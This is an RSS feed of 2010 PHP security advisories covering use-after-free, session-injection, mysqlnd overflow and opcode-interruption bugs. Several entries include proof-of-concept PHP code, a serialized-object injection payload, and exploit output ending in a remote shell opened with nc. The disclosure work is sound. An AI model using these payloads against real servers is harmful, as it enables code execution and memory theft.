the Month of PHP Security http://php-security.org "improving the security of the PHP ecosystem" Fri, 25 Jun 2010 15:27:22 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 MOPS-2010-061: PHP SplObjectStorage Deserialization Use-After-Free Vulnerability http://php-security.org/2010/06/25/mops-2010-061-php-splobjectstorage-deserialization-use-after-free-vulnerability/ http://php-security.org/2010/06/25/mops-2010-061-php-splobjectstorage-deserialization-use-after-free-vulnerability/#comments Fri, 25 Jun 2010 15:16:27 +0000 admin http://php-security.org/?p=417 A use-after-free vulnerability was discovered in the deserialization of SPLObjectStorage objects that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Risk

Critical.

Credits

This vulnerability was disclosed by Stefan Esser of SektionEins GmbH during the SyScan Singapore 2010 security conference.

Detailed information

PHP’s unserialize() function has had many memory corruption and use-after-free vulnerabilities in the past. Therefore it should be obvious by now that exposing it to user supplied input is not a good idea. However many widespread PHP applications directly unserialize() the content of cookies or POST requests. Especially closed source PHP applications developed for websites often use serialized user input.

In addition to that the APIs of popular services/applications like Wordpress transfer serialized data over insecure HTTP connections, which makes them vulnerable to unserialize() exploits via man-in-the-middle-attacks. Even more applications deserialize the content of database fields which means SQL injection vulnerabilities can be used to launch attacks against unserialize(). As demonstrated by the MOPS-2010-060 vulnerability even simple arbitrary writes to the $_SESSION variable can result in attacks against unserialize(), too. And the story does not stop here because many more applications deserialize the content of cache files, so arbitrary file overwrite vulnerabilities can be used to launch attacks against unserialize() and lead to arbitrary code execution although everything except the cache files is not writable.

While the core of the unserialize() function was audited very heavily during the last years the SPL objects shipping with PHP and supporting deserialization have not been audited very much. Therefore it was no suprise to find a use-after-free vulnerability in the SPLObjectStorage implementation that is very similar to a vulnerability in the unserialize() core that was fixed in 2004 and disclosed by us, too.

In PHP 5.3.x the actual vulnerability is caused by the spl_object_storage_attach() function removing previously inserted extra data if the same object is inserted twice.

void spl_object_storage_attach(spl_SplObjectStorage *intern, zval *obj, zval *inf TSRMLS_DC) /* {{{ */
{
    spl_SplObjectStorageElement *pelement, element;
    pelement = spl_object_storage_get(intern, obj TSRMLS_CC);
    if (inf) {
        Z_ADDREF_P(inf);
    } else {
        ALLOC_INIT_ZVAL(inf);
    }
    if (pelement) {
        zval_ptr_dtor(&pelement->inf);
        pelement->inf = inf;
        return;
    }
    Z_ADDREF_P(obj);
    element.obj = obj;
    element.inf = inf;
#if HAVE_PACKED_OBJECT_VALUE
    zend_hash_update(&intern->storage, (char*)&Z_OBJVAL_P(obj), sizeof(zend_object_value), &element, sizeof(spl_SplObjectStorageElement), NULL);   
#else
    {
        zend_object_value zvalue;
        memset(&zvalue, 0, sizeof(zend_object_value));
        zvalue.handle = Z_OBJ_HANDLE_P(obj);
        zvalue.handlers = Z_OBJ_HT_P(obj);
        zend_hash_update(&intern->storage, (char*)&zvalue, sizeof(zend_object_value), &element, sizeof(spl_SplObjectStorageElement), NULL);
    }
#endif
} /* }}} */

Because the extra data attached to the previous object is freed in case of a duplicate entry it can be used in a use-after-free attack that as demonstrated during SyScan can be used to leak arbitrary pieces of memory and or execute arbitrary code.

In PHP 5.2.x the vulnerability is similar but not exactly the same, because SPLObjectStorage is only an object set and does not store extra data. However inserting a double value with the same binary representation of an object will result in the object being freed early which again allows similar use-after-free exploits. Due to the nature of this type confusion attack the vulnerability is only exploitable on 32 bit systems for PHP 5.2.x. This restriction does not apply to PHP 5.3.x.

Proof of concept, exploit or instructions to reproduce

Due to the dangerous nature of the vulnerability, exploit code for this vulnerability will not be published. However the following is the output of a working exploit in action.

$ ./exploit.py -h http://t.testsystem/
PHP unserialize() Remote Code Execution Exploit (TikiWiki Version)
Copyright (C) 2010 Stefan Esser/SektionEins GmbH
               *** DO NOT DISTRIBUTE ***

[+] Connecting to determine wordsize
[+] Wordsize is 32 bit
[+] Connecting to determine PHP 5.2.x vs. PHP 5.3.x
[+] PHP version is 5.3.x
[+] Connecting to determine SPLObjectStorage version
[+] PHP version >= 5.3.2
[+] Determining endianess of system
[+] System is little endian
[+] Leaking address of std_object_handlers
[+] Found std_object_handlers address to be 0xb76e84a0
[+] Leaking std_object_handlers
[+] Retrieved std_object_handlers (0xb75b5c60, 0xb75b6230, 0xb75b2300, 0xb75b4c70, 0xb75b52f0, 0xb75b3fc0, 0xb75b42b0, 0xb75b4430, 0x00000000, 0x00000000, 0xb75b3c60, 0xb75b4a40, 0xb75b57a0, 0xb75b4170, 0xb75b27d0, 0xb75b4f00, 0x00000000, 0xb75b28a0, 0xb75b27a0, 0xb75b2af0, 0xb75b2830, 0xb75b46b0, 0x00000000, 0x00000000, 0xb75b2be0)
[+] Optimized to 0xb74008f0
[+] Scanning for executable header
[+] ELF header found at 0xb73ab000
[+] Retrieving and parsing ELF header
[+] Retrieving program headers
[+] Retrieving ELF string table
[+] Looking up ELF symbol: executor_globals
[+] Found executor_globals at 0xb76fe280
[+] Looking up ELF symbol: php_execute_script
[+] Found php_execute_script at 0xb75386c0
[+] Looking up ELF symbol: zend_eval_string
[+] Found zend_eval_string at 0xb7586580
[+] Searching JMPBUF in executor_globals
[+] Found JMPBUF at 0xbfcc64b4
[+] Attempt to crack JMPBUF
[+] Determined stored EIP value 0xb753875a from pattern match
[+] Calculated XORER 0x68ab06ea
[+] Unmangled stored ESP is 0xbfcc5470
[+] Checking memory infront of JMPBUF for overwriting possibilities
[+] Found 0x28 at 0xbfcc6498 (0x3e4) using it as overwrite trampoline
[+] Returning into PHP... Spawning a shell at port 4444

...
$ nc t.testsystem 4444
Welcome to the PHPShell 5/22/2010 1:27 am

system("uname -a");
Linux fedora13x86 2.6.33.4-95.fc13.i686.PAE #1 SMP Thu May 13 05:38:26 UTC 2010 i686 i686 i386 GNU/Linux
system("id");
uid=48(apache) gid=484(apache) groups=484(apache) context=unconfined_u:system_r:httpd_t:s0    
...

Notes

This vulnerability was disclosed on June 18th, 2010 at the SyScan Singapore 2010 security conference.

Among the audience of the conference was a member of the RedHat Linux Security Team that immediately forwarded the information to other people at RedHat that patched their version of PHP and shared the information and patch with the PHP developers.

Due to the nature of the bug the exploit is very similar against different applications using unserialize() however small modifications are required.

The exploitation path demonstrated at the SyScan conference will not work against PHP installations patched with the Suhosin patch. Therefore only people that have choosen to be less secure (a.k.a. running PHP without Suhosin-Patch applied) might be in immediate danger. However the vulnerability is exploitable with a more complicated exploit on systems running Suhosin, too.

]]>
http://php-security.org/2010/06/25/mops-2010-061-php-splobjectstorage-deserialization-use-after-free-vulnerability/feed/ 0
Winners of the Month of PHP Security http://php-security.org/2010/06/10/winners-of-the-month-of-php-security/ http://php-security.org/2010/06/10/winners-of-the-month-of-php-security/#comments Thu, 10 Jun 2010 20:13:34 +0000 admin http://php-security.org/?p=411 The Month of PHP Security is over and the MOPS CFP Committee has made a final decision about the ranking of the articles and tools submitted to us. And the winners are…

  1. 1000 EUR + SyScan VIP Ticket + CodeScan PHP go to Solar Designer for “How to manage a PHP application’s users and passwords“.
  2. 750 EUR + SyScan VIP Ticket go to Johannes Dahse for “RIPS – A static source code analyser for vulnerabilities in PHP scripts
  3. 500 EUR + SyScan VIP Ticket go to Mateusz Kocielski for “The Minerva PHP Fuzzer
  4. 250 EUR + SyScan VIP Ticket go to Arthur Gerkis for “Our Dynamic PHP – Obvious and not so obvious PHP code injection and evaluation
  5. CodeScan PHP goes to Mateusz Kocielski for “sqlite_single_query(), sqlite_array_query() Uninitialized Memory Usage
  6. CodeScan PHP goes to Jakub Vrana for “Context Aware HTML Escaping
  7. An Amazon coupon goes to Jordi Boggiano for “Generating Unpredictable Session IDs and Hashes
  8. An Amazon coupon goes to Jürgen Pabel for “Configuration Encryption Patch for Suhosin
  9. An Amazon coupon goes to Jakub Vrana for “Variable Initialization in PHP
  10. An Amazon coupon goes to Mike Boberski for “A New Open Source Tool: OWASP ESAPI for PHP

The winners will be notified by email during the next days.

]]>
http://php-security.org/2010/06/10/winners-of-the-month-of-php-security/feed/ 0
MOPS-2010-060: PHP Session Serializer Session Data Injection Vulnerability http://php-security.org/2010/05/31/mops-2010-060-php-session-serializer-session-data-injection-vulnerability/ http://php-security.org/2010/05/31/mops-2010-060-php-session-serializer-session-data-injection-vulnerability/#comments Mon, 31 May 2010 16:23:25 +0000 admin http://php-security.org/?p=407 PHP’s default sesson serializer wrongly handles the PS_UNDEF_MARKER character

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser.

Detailed information

The default session deserializer knows two special characters PS_DELIMITER and PS_UNDEF_MARKER. The first is used to separate stored session variables and the later marks undefined session variables. The following code is the implementation of this.

    while (p < endptr) {
        zval **tmp;
        q = p;
        while (*q != PS_DELIMITER) {
            if (++q >= endptr) goto break_outer_loop;
        }
        if (p[0] == PS_UNDEF_MARKER) {
            p++;
            has_value = 0;
        } else {
            has_value = 1;
        }

        namelen = q - p;
        name = estrndup(p, namelen);
        q++;

        if (zend_hash_find(&EG(symbol_table), name, namelen + 1, (void **) &tmp) == SUCCESS) {
            if ((Z_TYPE_PP(tmp) == IS_ARRAY && Z_ARRVAL_PP(tmp) == &EG(symbol_table)) || *tmp == PS(http_session_vars)) {
                goto skip;
            }
        }

        if (has_value) {
            ALLOC_INIT_ZVAL(current);
            if (php_var_unserialize(&current, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
                php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
            }
            zval_ptr_dtor(&current);
        }
        PS_ADD_VARL(name, namelen);
skip:
        efree(name);

        p = q;
    }

The problem with this code is that the session serializer does only handle the PS_DELIMITER correctly and does not handle the PS_UNDEF_MARKER at all.

PS_ENCODE_LOOP(
        smart_str_appendl(&buf, key, key_length);
        if (memchr(key, PS_DELIMITER, key_length)) {
            PHP_VAR_SERIALIZE_DESTROY(var_hash);
            smart_str_free(&buf);
            return FAILURE;
        }
        smart_str_appendc(&buf, PS_DELIMITER);

        php_var_serialize(&buf, struc, &var_hash TSRMLS_CC);
    } else {
        smart_str_appendc(&buf, PS_UNDEF_MARKER);
        smart_str_appendl(&buf, key, key_length);
        smart_str_appendc(&buf, PS_DELIMITER);
);

The problem is that session variable names starting with PS_UNDEF_MARKER will confuse the session deserializer. This means any PHP code that allows to write arbitrary variables into the session can be used to inject arbitrary serialized values into the session. This also means that code like the following is equal to unserializing user input.

<?php
   session_start();
   $_SESSION[$_POST['prefix'] . 'bla'] = $_POST['data'];
?>

Proof of concept, exploit or instructions to reproduce

The following two code examples are both vulnerable to session injection.

<?php
   session_start();
   $_SESSION[$_POST['prefix'] . 'bla'] = $_POST['data'];
?>

or also

<?php
   session_start();
   $_SESSION = array_merge($_SESSION, $_POST);
?>

By sending a POST request with prefix=! and data=|xxx|O:10:"evilObject":0:{} it is possible to inject arbitrary serialized data into the session. Keep in mind that this also allows all the attacks usually possible when putting user input into unserialize().

Notes

This vulnerability can be fixed by correctly handling the PS_UNDEF_MARKER char.

]]>
http://php-security.org/2010/05/31/mops-2010-060-php-session-serializer-session-data-injection-vulnerability/feed/ 0
MOPS-2010-059: PHP php_mysqlnd_auth_write() Stack Buffer Overflow Vulnerability http://php-security.org/2010/05/31/mops-2010-059-php-php_mysqlnd_auth_write-stack-buffer-overflow-vulnerability/ http://php-security.org/2010/05/31/mops-2010-059-php-php_mysqlnd_auth_write-stack-buffer-overflow-vulnerability/#comments Mon, 31 May 2010 15:46:37 +0000 admin http://php-security.org/?p=405 PHP’s php_mysqlnd_auth_write() does not check user supplied values which can result in a stack based buffer overflow.

Affected versions

Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser while auditing the new Mysqlnd PHP extension.

Detailed information

The new Mysqlnd extension handles communication with mysql servers and implements the mysql protocol in the file mysqlnd_wireprotocol.c. While auditing this file several vulnerabilities were discovered. One of them is inside the php_mysqlnd_auth_write() function.

memset(p, 0, 23); /* filler */
p+= 23;

if (!packet->send_half_packet) {
    len = strlen(packet->user);
    memcpy(p, packet->user, len);
    ...

The code above is executed when a connection with the mysql server is established and the auth packet is created on client side. The auth packet is created without any kind of security check. Therefore an overflong username or database name in a mysql_connect() or mysqli_connect() call will result in a stack based buffer overflow. In case of recent gcc versions the possible buffer overflow through the user name will be made impossible by the compilers security features. However the database name will allow to overflow the buffer in this case.

Proof of concept, exploit or instructions to reproduce

Month of PHP Security does not provide a POC for this vulnerability.

Notes

This vulnerability can be fixed by correctly length checking user input before copying it into a stack based buffer.

]]>
http://php-security.org/2010/05/31/mops-2010-059-php-php_mysqlnd_auth_write-stack-buffer-overflow-vulnerability/feed/ 0
MOPS-2010-058: PHP php_mysqlnd_read_error_from_line() Buffer Overflow Vulnerability http://php-security.org/2010/05/31/mops-2010-058-php-php_mysqlnd_read_error_from_line-buffer-overflow-vulnerability/ http://php-security.org/2010/05/31/mops-2010-058-php-php_mysqlnd_read_error_from_line-buffer-overflow-vulnerability/#comments Mon, 31 May 2010 15:41:00 +0000 admin http://php-security.org/?p=403 PHP’s php_mysqlnd_read_error_from_line() trusts network data which can result in a heap based buffer overflow.

Affected versions

Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser while auditing the new Mysqlnd PHP extension.

Detailed information

The new Mysqlnd extension handles communication with mysql servers and implements the mysql protocol in the file mysqlnd_wireprotocol.c. While auditing this file several vulnerabilities were discovered. One of them is inside the php_mysqlnd_read_error_from_line() function.

if (buf_len > 2) {
    *error_no = uint2korr(p);
    p+= 2;
    /* sqlstate is following */
    if (*p == '#') {
        memcpy(sqlstate, ++p, MYSQLND_SQLSTATE_LENGTH);
        p+= MYSQLND_SQLSTATE_LENGTH;
    }
    error_msg_len = buf_len - (p - buf);
    error_msg_len = MIN(error_msg_len, error_buf_len - 1);
    memcpy(error, p, error_msg_len);
} else {
    *error_no = CR_UNKNOWN_ERROR;
    memcpy(sqlstate, unknown_sqlstate, MYSQLND_SQLSTATE_LENGTH);
}

The code above ensures that the buf_len is greater than two, but fails to take the SQLSTATE into account. Therefore a buffer overflow can happen for buf_len > 2 and buf_len < 2 + MYSQLND_SQLSTATE_LENGTH + 1. In this case error_msg_len will become negative which results in a memcpy() of 4 GB of data.

Proof of concept, exploit or instructions to reproduce

Month of PHP Security does not provide a POC for this vulnerability.

Notes

This vulnerability can be fixed by correctly checking the network supplied data.

]]>
http://php-security.org/2010/05/31/mops-2010-058-php-php_mysqlnd_read_error_from_line-buffer-overflow-vulnerability/feed/ 0
MOPS-2010-057: PHP php_mysqlnd_rset_header_read() Buffer Overflow Vulnerability http://php-security.org/2010/05/31/mops-2010-057-php-php_mysqlnd_rset_header_read-buffer-overflow-vulnerability/ http://php-security.org/2010/05/31/mops-2010-057-php-php_mysqlnd_rset_header_read-buffer-overflow-vulnerability/#comments Mon, 31 May 2010 15:37:33 +0000 admin http://php-security.org/?p=401 PHP’s php_mysqlnd_rset_header_read() trusts network data which can result in a heap based buffer overflow.

Affected versions

Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser while auditing the new Mysqlnd PHP extension.

Detailed information

The new Mysqlnd extension handles communication with mysql servers and implements the mysql protocol in the file mysqlnd_wireprotocol.c. While auditing this file several vulnerabilities were discovered. One of them is inside the php_mysqlnd_rset_header_read() function.

if (packet->header.size  > (size_t) (p - buf) && (len = php_mysqlnd_net_field_length(&p))) {
    packet->info_or_local_file = mnd_emalloc(len + 1);
    memcpy(packet->info_or_local_file, p, len);
    packet->info_or_local_file[len] = '\0';
    packet->info_or_local_file_len = len;
}

The code above reads the field length from the network buffer and then copies the message into a newly allocated message buffer. This copy operation will result in a heap based buffer oveflow if php_mysqlnd_net_field_length() returns -1. In this case only 0 bytes of memory are allocated, but up to 4 GB are copied.

Proof of concept, exploit or instructions to reproduce

Month of PHP Security does not provide a POC for this vulnerability.

Notes

This vulnerability can be fixed by correctly checking the network supplied data.

]]>
http://php-security.org/2010/05/31/mops-2010-057-php-php_mysqlnd_rset_header_read-buffer-overflow-vulnerability/feed/ 0
MOPS-2010-056: PHP php_mysqlnd_ok_read() Information Leak Vulnerability http://php-security.org/2010/05/31/mops-2010-056-php-php_mysqlnd_ok_read-information-leak-vulnerability/ http://php-security.org/2010/05/31/mops-2010-056-php-php_mysqlnd_ok_read-information-leak-vulnerability/#comments Mon, 31 May 2010 15:34:13 +0000 admin http://php-security.org/?p=399 PHP’s php_mysqlnd_ok_read() trusts network data which can result in a heap information leak.

Affected versions

Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser while auditing the new Mysqlnd PHP extension.

Detailed information

The new Mysqlnd extension handles communication with mysql servers and implements the mysql protocol in the file mysqlnd_wireprotocol.c. While auditing this file several vulnerabilities were discovered. One of them is inside the php_mysqlnd_ok_read() function.

/* There is a message */
if (packet->header.size > (size_t) (p - buf) && (i = php_mysqlnd_net_field_length(&p))) {
    packet->message = mnd_pestrndup((char *)p, MIN(i, buf_len - (p - begin)), FALSE);
    packet->message_len = i;
} else {
    packet->message = NULL;
}

The code above reads the message length from the network buffer and copies the message into a newly allocated message buffer. This copy operation is performed in a secure way because it is ensured that only available bytes in the buffer are copied. However the message_len field is wrongly set to the network supplied value. This can result in information leaks in all functions handling the message and message_len information from the packet struct.

Proof of concept, exploit or instructions to reproduce

Month of PHP Security does not provide a POC for this vulnerability.

Notes

This vulnerability can be fixed by correctly checking the network supplied data.

]]>
http://php-security.org/2010/05/31/mops-2010-056-php-php_mysqlnd_ok_read-information-leak-vulnerability/feed/ 0
Article: Virtual Meta-Scripting Bytecode for PHP and JavaScript http://php-security.org/2010/05/31/article-virtual-meta-scripting-bytecode-for-php-and-javascript/ http://php-security.org/2010/05/31/article-virtual-meta-scripting-bytecode-for-php-and-javascript/#comments Mon, 31 May 2010 14:34:17 +0000 admin http://php-security.org/?p=396 As a last minute addition to the Month of PHP Security we present an article by Ben Fuhrmannek about virtual meta-scripting bytecode for PHP and JavaScript.

Ben Fuhrmannek, 2010-05-31

Abstract
Both PHP and JavaScript are frequently being targeted for exploiting web applications. This article elaborates on the idea of building a set of virtual machines on top of each programming language. As a result a single type of bytecode can be executed by both VMs. Particular emphasis is put on designing virtual machines to be most suitable for code obfuscation in a post exploitation scenario.

[PDF Article]

]]>
http://php-security.org/2010/05/31/article-virtual-meta-scripting-bytecode-for-php-and-javascript/feed/ 1
MOPS-2010-055: PHP ArrayObject::uasort() Interruption Memory Corruption Vulnerability http://php-security.org/2010/05/31/mops-2010-055-php-arrayobjectuasort-interruption-memory-corruption-vulnerability/ http://php-security.org/2010/05/31/mops-2010-055-php-arrayobjectuasort-interruption-memory-corruption-vulnerability/#comments Mon, 31 May 2010 14:25:00 +0000 admin http://php-security.org/2010/05/31/mops-2010-055-php-arrayobjectuasort-interruption-memory-corruption-vulnerability/ PHP’s ArrayObject::uasort() method can be interrupted and used for memory corruption attacks.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions.

In the above presentation the usort() function was exploited. This has been fixed by the PHP developers by adding a hack to the usort() and uasort() functions that tries to detect a modification of the array while being sorted. However because it is only a hack it is possible to bypass it in case of arrays that will not trigger the copy on write protection when deleting an element. In the past it was demonstrated that this can be achieved with the _SESSION array and session_unregister(). However it is also possible by simply using an ArrayObject and its internal uasort() method.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and crash. (On some systems it might even not crash.)

<?php
error_Reporting(E_ALL);
    $first = true;
    function uc($a,$b)
    {
        global $first;
       
        /* Detect 32 vs 64 bit */
        $i = 0x7fffffff;
        $i++;
        if (is_float($i)) {
            $y = str_repeat("A", 39);
        } else {
            $y = str_repeat("A", 67);      
        }    
        if ($first) {
        unset($GLOBALS['arr']["B"]);
        $GLOBALS['_____________________________________________________________________________a'] = 1;
        $GLOBALS['_____________________________________________________________________________b'] = 2;
        $GLOBALS['_____________________________________________________________________________x'] .= $y;
        }
        $first=false;
    }

    $arr = new ArrayObject(array("A" => str_repeat("A", 164),"B" => str_repeat("B", 164), "C" => str_repeat("C", 164), "D" => str_repeat("D", 164)));
   
    $arr->uasort("uc");
?>

Notes

We strongly recommend to fix this vulnerability by rewriting the zend_hash_sort() function to not work on a copy of the array but on the actual array and protect against modifications.

]]>
http://php-security.org/2010/05/31/mops-2010-055-php-arrayobjectuasort-interruption-memory-corruption-vulnerability/feed/ 0
MOPS-2010-054: PHP ZEND_CONCAT/ZEND_ASSIGN_CONCAT Opcode Interruption Information Leak and Memory Corruption Vulnerability http://php-security.org/2010/05/31/mops-2010-054-php-zend_concatzend_assign_concat-opcode-interruption-information-leak-and-memory-corruption-vulnerability/ http://php-security.org/2010/05/31/mops-2010-054-php-zend_concatzend_assign_concat-opcode-interruption-information-leak-and-memory-corruption-vulnerability/#comments Mon, 31 May 2010 14:03:13 +0000 admin http://php-security.org/?p=391 PHP’s ZEND_CONCAT/ZEND_ASSIGN_CONCAT opcodes can be abused for information leakage or memory corruption by a userspace error handler interruption attack. This can be leveraged to execute arbitrary code.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is similar to the other interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. The ZEND_CONCAT/ZEND_ASSIGN_CONCAT opcode interruption is different from most of the previously disclosed interruption vulnerabilities because it does not interrupt an internal PHP function, but an opcode handler of the Zend Engine. This is different because the usual recommendation to disable call time pass by reference to fix this vulnerability does not work here.

To understand how the ZEND_CONCAT and ZEND_ASSIGN_CONCAT opcodes can be interrupted by a userspace error handler it is necessary to look into the implementation of the opcodes. Because they are very much alike we will only check the ZEND_CONCAT case.

ZEND_VM_HANDLER(8, ZEND_CONCAT, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV)
{
    zend_op *opline = EX(opline);
    zend_free_op free_op1, free_op2;

    concat_function(&EX_T(opline->result.u.var).tmp_var,
        GET_OP1_ZVAL_PTR(BP_VAR_R),
        GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC);
    FREE_OP1();
    FREE_OP2();
    ZEND_VM_NEXT_OPCODE();
}

The handler itself does only call the concat_function() and passes a temporary result variable and the two operands to this function. This is important to remember because both operands can be either constant values, temporary variable registers, normal variables and compiled variables. The concat_function() is implemented as seen below.

ZEND_API int concat_function(zval *result, zval *op1, zval *op2 TSRMLS_DC) /* {{{ */
{
    zval op1_copy, op2_copy;
    int use_copy1 = 0, use_copy2 = 0;

    if (Z_TYPE_P(op1) != IS_STRING) {
        zend_make_printable_zval(op1, &op1_copy, &use_copy1);
    }
    if (Z_TYPE_P(op2) != IS_STRING) {
        zend_make_printable_zval(op2, &op2_copy, &use_copy2);
    }

    if (use_copy1) {
        /* We have created a converted copy of op1. Therefore, op1 won't become the result so
         * we have to free it.
         */

        if (result == op1) {
            zval_dtor(op1);
        }
        op1 = &op1_copy;
    }
    if (use_copy2) {
        op2 = &op2_copy;
    }
    if (result==op1) {  /* special case, perform operations on result */
        uint res_len = Z_STRLEN_P(op1) + Z_STRLEN_P(op2);

        if (Z_STRLEN_P(result) < 0 || (int) (Z_STRLEN_P(op1) + Z_STRLEN_P(op2)) < 0) {
            efree(Z_STRVAL_P(result));
            ZVAL_EMPTY_STRING(result);
            zend_error(E_ERROR, "String size overflow");
        }

        Z_STRVAL_P(result) = erealloc(Z_STRVAL_P(result), res_len+1);

        memcpy(Z_STRVAL_P(result)+Z_STRLEN_P(result), Z_STRVAL_P(op2), Z_STRLEN_P(op2));
        Z_STRVAL_P(result)[res_len]=0;
        Z_STRLEN_P(result) = res_len;
    } else {
        Z_STRLEN_P(result) = Z_STRLEN_P(op1) + Z_STRLEN_P(op2);
        Z_STRVAL_P(result) = (char *) emalloc(Z_STRLEN_P(result) + 1);
        memcpy(Z_STRVAL_P(result), Z_STRVAL_P(op1), Z_STRLEN_P(op1));
        memcpy(Z_STRVAL_P(result)+Z_STRLEN_P(op1), Z_STRVAL_P(op2), Z_STRLEN_P(op2));
        Z_STRVAL_P(result)[Z_STRLEN_P(result)] = 0;
        Z_TYPE_P(result) = IS_STRING;
    }
    if (use_copy1) {
        zval_dtor(op1);
    }
    if (use_copy2) {
        zval_dtor(op2);
    }
    return SUCCESS;
}

We can see that both operands are first converted to strings before they are concatenated. As usual the string conversion supports objects with __toString() methods, which means they are easily interrupted by an attacker. An attacker can therefore use an object with a __toString() method as second operand to change the type of the first operand. In case of the ZEND_CONCAT opcode the first operand and result operand are different, which results in memory for both strings being allocated and then both strings are copied into it. In case of a modified operand non string memory is copied into the buffer.

In case of the ZEND_ASSIGN_CONCAT opcode the first operand and result are the same. This means the first operand is first reallocated and then the second operand is appended. This basically means that an attacker can reallocate arbitrary memory addresses out of the way, which allows to free arbitrary memory blocks. This can be exploited to execute arbitrary code.

Proof of concept, exploit or instructions to reproduce

The following exploit code will leak the content of a hashtable to the attacker and attempt to leak an arbitrary address which results in a crash. The output will look like:

exdump
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41   ............AAAA
00000010: 00 00 00 00 00 00 00 00 80 FC B4 00 01 00 00 00   ................
00000020: 80 FC B4 00 01 00 00 00 80 FC B4 00 01 00 00 00   ................
00000030: C0 FB B4 00 01 00 00 00 74 43 30 00 01 00 00 00   ........tC0.....
00000040: 00 00 01 41 41 41 41 41 -- -- -- -- -- -- -- --   ...AAAAA

And the exploit is as easy as:

<?php
error_reporting(E_ALL);

class dummyLeakArray
{
    function __toString()
    {
        parse_str("x=1", $GLOBALS['a']);
        return "AAAAA";
    }  
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['a'] = str_repeat("A", 39);
} else {
    $GLOBALS['a'] = str_repeat("A", 67);       
}
$b = new dummyLeakArray();

/* Trigger the Code */
$res = $a . $b;

hexdump($res);



class dummyLeakArbitrary
{
    function __toString()
    {
        $GLOBALS['a'] += 0x55667788;
        return "AAAAA";
    }
}

/* Initialize */
$a = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
$b = new dummyLeakArbitrary();

/* Trigger the Code */
$res = $a . $b;
?>

Notes

In order to fix this vulnerability it is necessary to validate that after the string conversion both operands are indeed strings.

]]>
http://php-security.org/2010/05/31/mops-2010-054-php-zend_concatzend_assign_concat-opcode-interruption-information-leak-and-memory-corruption-vulnerability/feed/ 0